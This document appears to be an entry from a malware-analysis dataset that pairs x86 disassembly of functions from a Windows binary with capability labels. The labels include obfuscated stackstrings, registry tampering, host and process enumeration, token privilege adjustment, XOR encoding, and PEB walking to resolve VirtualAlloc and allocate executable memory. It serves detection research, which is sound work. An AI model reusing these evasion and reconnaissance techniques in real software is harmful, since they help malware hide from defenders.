joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40242d
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push dword [ebp + 0xc]
push 0
push esi
call fcn.00404930
push 0
push dword [ebp + 0xc]
push 0
push esi
push 1
push str.Remark
push dword [ebp + 0x10]
push closesocket
call fcn.0040396e
add esp, 0x2c
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x402473
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
pop esi
pop ebp
ret

Function at 0x4024be
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
push edi
mov esi, 0x40e1b8
lea edi, [ebp - 0x140]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x13d]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov esi, 0x40e1b4
lea edi, [ebp - 0x240]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x23d]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.00404f30
pop ecx
and byte [ebp - 2], 0
pop ecx
mov byte [ebp - 0x30], 0x48
push 4
mov byte [ebp - 0x2f], 0x41
pop eax
mov byte [ebp - 0x2e], 0x52
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x2d], 0x44
mov byte [ebp - 0x2c], 0x57
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x5c
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x45
mov byte [ebp - 0x25], 0x53
mov byte [ebp - 0x24], 0x43
mov byte [ebp - 0x23], 0x52
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x54
mov byte [ebp - 0x1f], 0x49
mov byte [ebp - 0x1e], 0x4f
mov byte [ebp - 0x1d], 0x4e
mov byte [ebp - 0x1c], 0x5c
mov byte [ebp - 0x1b], 0x53
mov byte [ebp - 0x1a], 0x79
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x74
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x5c
mov byte [ebp - 0x14], 0x43
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x6e
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x50
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0x72
mov byte [ebp - 4], 0x5c
mov byte [ebp - 3], 0x30
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x140]
push 0
push eax
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x38]
pop edi
pop esi
leave
ret
Function at 0x40261c
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor esi, esi
push edi
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x40c968
push 1
push esi
push 0x40c988
mov dword [ebp - 0xc], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x402654
xor eax, eax
jmp 0x4026fa
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
push edx
push 0x40c978
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x4026e9
mov dword [ebp - 4], esi
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x4026e0
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push 0x40c234
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x4026d5
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push esi
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x4026c2
inc edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x402671
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x4026fe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x64]
push edi
push eax
lea eax, [ebp - 0x30]
xor ebx, ebx
push eax
mov byte [ebp - 0x30], 0x41
mov byte [ebp - 0x2f], 0x64
mov byte [ebp - 0x2e], 0x76
mov byte [ebp - 0x2d], 0x61
mov byte [ebp - 0x2c], 0x70
mov byte [ebp - 0x2b], 0x69
mov byte [ebp - 0x2a], 0x33
mov byte [ebp - 0x29], 0x32
mov byte [ebp - 0x28], 0x2e
mov byte [ebp - 0x27], 0x64
mov byte [ebp - 0x26], 0x6c
mov byte [ebp - 0x25], 0x6c
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x64], 0x41
mov byte [ebp - 0x63], 0x6c
mov byte [ebp - 0x62], 0x6c
mov byte [ebp - 0x61], 0x6f
mov byte [ebp - 0x60], 0x63
mov byte [ebp - 0x5f], 0x61
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0x65
mov byte [ebp - 0x5c], 0x41
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x64
mov byte [ebp - 0x59], 0x49
mov byte [ebp - 0x58], 0x6e
mov byte [ebp - 0x57], 0x69
mov byte [ebp - 0x56], 0x74
mov byte [ebp - 0x55], 0x69
mov byte [ebp - 0x54], 0x61
mov byte [ebp - 0x53], 0x6c
mov byte [ebp - 0x52], 0x69
mov byte [ebp - 0x51], 0x7a
mov byte [ebp - 0x50], 0x65
mov byte [ebp - 0x4f], 0x53
mov byte [ebp - 0x4e], 0x69
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 0x48], 0x43
mov byte [ebp - 0x47], 0x68
mov byte [ebp - 0x46], 0x65
mov byte [ebp - 0x45], 0x63
mov byte [ebp - 0x44], 0x6b
mov byte [ebp - 0x43], 0x54
mov byte [ebp - 0x42], 0x6f
mov byte [ebp - 0x41], 0x6b
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x6e
mov byte [ebp - 0x3e], 0x4d
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x6d
mov byte [ebp - 0x3b], 0x62
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x72
mov byte [ebp - 0x38], 0x73
mov byte [ebp - 0x37], 0x68
mov byte [ebp - 0x36], 0x69
mov byte [ebp - 0x35], 0x70
mov byte [ebp - 0x34], bl
call esi
push eax
call edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 0x20], 0x46
push eax
lea eax, [ebp - 0x30]
push eax
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x64
mov byte [ebp - 0x19], bl
call esi
push eax
call edi
mov esi, eax
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea eax, [ebp - 0x18]
push 2
push eax
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 5
call dword [ebp - 0xc]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x402890
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
call dword [ebp - 0x10]
push dword [ebp - 4]
call esi
xor eax, eax
cmp dword [ebp - 8], 1
pop edi
pop esi
sete al
pop ebx
leave
ret
Function at 0x403051
Capabilities:
Contain obfuscated stackstrings
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3d4
push ebx
push esi
mov esi, 0x294
xor ebx, ebx
push esi
lea eax, [ebp - 0x2d0]
push ebx
push eax
call fcn.00404930
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
mov byte [ebp - 0x2d0], 0xc8
call fcn.00404930
add esp, 0x18
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 0x48]
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x38]
push 4
push eax
lea eax, [ebp - 0x2ac]
push eax
call fcn.00403cf0
push str.Test
lea eax, [ebp - 0x3d4]
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x3d4]
push eax
lea eax, [ebp - 0x2a8]
push 0x32
push eax
call fcn.0040242d
add esp, 0x24
lea eax, [ebp - 0x274]
mov dword [ebp - 0x274], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x270]
push eax
call fcn.00402476
add esp, 0xc
test eax, eax
je 0x403121
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1d8], eax
call fcn.004024be
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1d0], eax
call fcn.0040261c
mov dword [ebp - 0x1cc], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x2c], 0x32
mov byte [ebp - 0x10], 0x47
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x55
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x4e
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x6d
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x41
mov byte [ebp - 4], bl
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x70
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x1c8]
push ecx
call eax
call fcn.004026fe
mov byte [ebp - 0x196], al
lea eax, [ebp - 0x195]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x90], eax
call fcn.0040289e
push eax
lea eax, [ebp - 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x2d0]
push esi
push eax
call fcn.00401887
pop esi
pop ebx
leave
ret
Function at 0x403531
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x4034f9
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405144
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x40358b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x4035ab
xor eax, eax
jmp 0x4035f9
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4035f0
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.004052b0
pop ecx
test eax, eax
pop ecx
je 0x4035ea
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x4035c2
mov edi, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40365c
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x40367b
mov dl, byte [ecx + eax]
xor dl, 0x1a
sub dl, 0x77
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x403668
ret

Function at 0x40367c
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x40369b
mov dl, byte [ecx + eax]
add dl, 0x77
xor dl, 0x1a
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x403688
ret
Function at 0x40369c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c1f8
push 0x405388
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov ebx, eax
mov dword [ebp - 0x2c], ebx
push str.GetThreadDesktop
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x3c], eax
push str.GetUserObjectInformationA
push ebx
call esi
mov dword [ebp - 0x20], eax
push str.SetThreadDesktop
push ebx
call esi
mov dword [ebp - 0x140], eax
push str.CloseDesktop
push ebx
call esi
mov dword [ebp - 0x38], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x30], eax
push str.GetCurrentThreadId
push eax
call esi
call eax
push eax
call dword [ebp - 0x3c]
mov esi, eax
mov dword [ebp - 0x28], 1
xor edi, edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x34]
push eax
push 0x100
lea eax, [ebp - 0x13c]
push eax
push 2
push dword [ebp + 8]
call dword [ebp - 0x20]
test eax, eax
je 0x403758
push dword [ebp + 8]
call dword [ebp - 0x140]
test eax, eax
jne 0x40375d
mov dword [ebp - 0x28], edi
jmp 0x403761
push esi
call dword [ebp - 0x38]
or dword [ebp - 4], 0xffffffff
call fcn.0040377f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40385c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ADVAPI32.dll
mov byte [ebp - 1], 1
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call esi
push str.AdjustTokenPrivileges
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.LookupPrivilegeValueA
push ebx
mov dword [ebp - 0x18], eax
call esi
push str.kernel32.dll
mov dword [ebp - 0x14], eax
call edi
push str.GetCurrentProcess
push eax
mov dword [ebp - 0xc], eax
call esi
lea ecx, [ebp - 8]
push ecx
push 0x28
call eax
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x403930
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], 1
neg eax
sbb eax, eax
and eax, 2
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
push 0
call dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x28]
push eax
push eax
push 0x10
push ecx
push eax
push dword [ebp - 8]
call dword [ebp - 0x18]
push str.KERNEL32.dll
call edi
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x40390b
and byte [ebp - 1], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test ebx, ebx
je 0x403921
push ebx
call esi
cmp dword [ebp - 0xc], 0
je 0x40392c
push dword [ebp - 0xc]
call esi
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40396e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c218
push 0x405388
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x248
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push 0x20
push ebx
lea eax, [ebp - 0x148]
push eax
call fcn.00404930
mov esi, 0x104
push esi
push ebx
lea eax, [ebp - 0x128]
push eax
call fcn.00404930
push esi
push ebx
lea eax, [ebp - 0x254]
push eax
call fcn.00404930
add esp, 0x24
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x258]
push eax
push 0x20019
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4039f5
or dword [ebp - 0x20], 0xffffffff
jmp 0x403b4b
cmp dword [ebp + 0x24], ebx
jne 0x403b4b
mov ecx, dword [ebp + 0x14]
cmp ecx, ebx
jbe 0x403b4b
cmp ecx, 2
jbe 0x403b0e
cmp ecx, 3
je 0x403ad3
push 4
pop eax
cmp ecx, eax
je 0x403a9c
cmp ecx, 7
jne 0x403b4b
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403b4b
lea edi, [ebp - 0x128]
mov dword [ebp - 0x24], edi
cmp byte [edi], bl
je 0x403a91
push esi
push edi
lea eax, [ebp - 0x254]
push eax
call fcn.00403935
push esi
push 0x40e29c
lea eax, [ebp - 0x254]
push eax
call fcn.00403935
push ebx
push edi
call fcn.00405470
add esp, 0x20
inc eax
mov edi, eax
jmp 0x403a5b
lea eax, [ebp - 0x254]
jmp 0x403b3a
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403b4b
push dword [ebp - 0x14c]
push 0x40e410
jmp 0x403b00
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x1c]
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403b4b
push dword [ebp + 0x14]
push str._08X
push dword [ebp + 0x18]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x403b44
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403b4b
lea eax, [ebp - 0x128]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x20], 1
or dword [ebp - 4], 0xffffffff
call fcn.00403b66
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403b7a
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c228
push 0x405388
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0x20]
sub eax, esi
je 0x403c18
dec eax
je 0x403c39
dec eax
je 0x403bec
dec eax
jne 0x403c9c
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403c9c
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x403c91
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403c9c
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x403c91
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x403c9c
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403c9c
mov edi, dword [ebp + 0x14]
cmp edi, esi
jbe 0x403c9c
cmp edi, 2
jbe 0x403c75
cmp edi, 4
je 0x403c6b
cmp edi, 7
je 0x403c75
jmp 0x403c9c
push 4
lea eax, [ebp + 0x1c]
push eax
push 4
jmp 0x403c84
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0x18]
push edi
push esi
push dword [ebp + 0x10]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x403c9c
mov dword [ebp - 0x1c], 1
or dword [ebp - 4], 0xffffffff
call fcn.00403cb7
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40136f
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x401423
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004012ff
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x4013fc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40142f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40144a
test ebp, ebp
je 0x40144a
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x401452
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x401492
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x4014ee
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x4014e9
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4014d4
test dl, dl
je 0x4014d0
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4014d4
add ecx, 2
add eax, 2
test dl, dl
jne 0x4014b4
xor eax, eax
jmp 0x4014d9
sbb eax, eax
or eax, 1
test eax, eax
je 0x4014f8
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x4014a1
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x40150f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0040136f
test eax, eax
jne 0x401527
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0040142f
mov esi, eax
test esi, esi
jne 0x40155d
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x401577
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret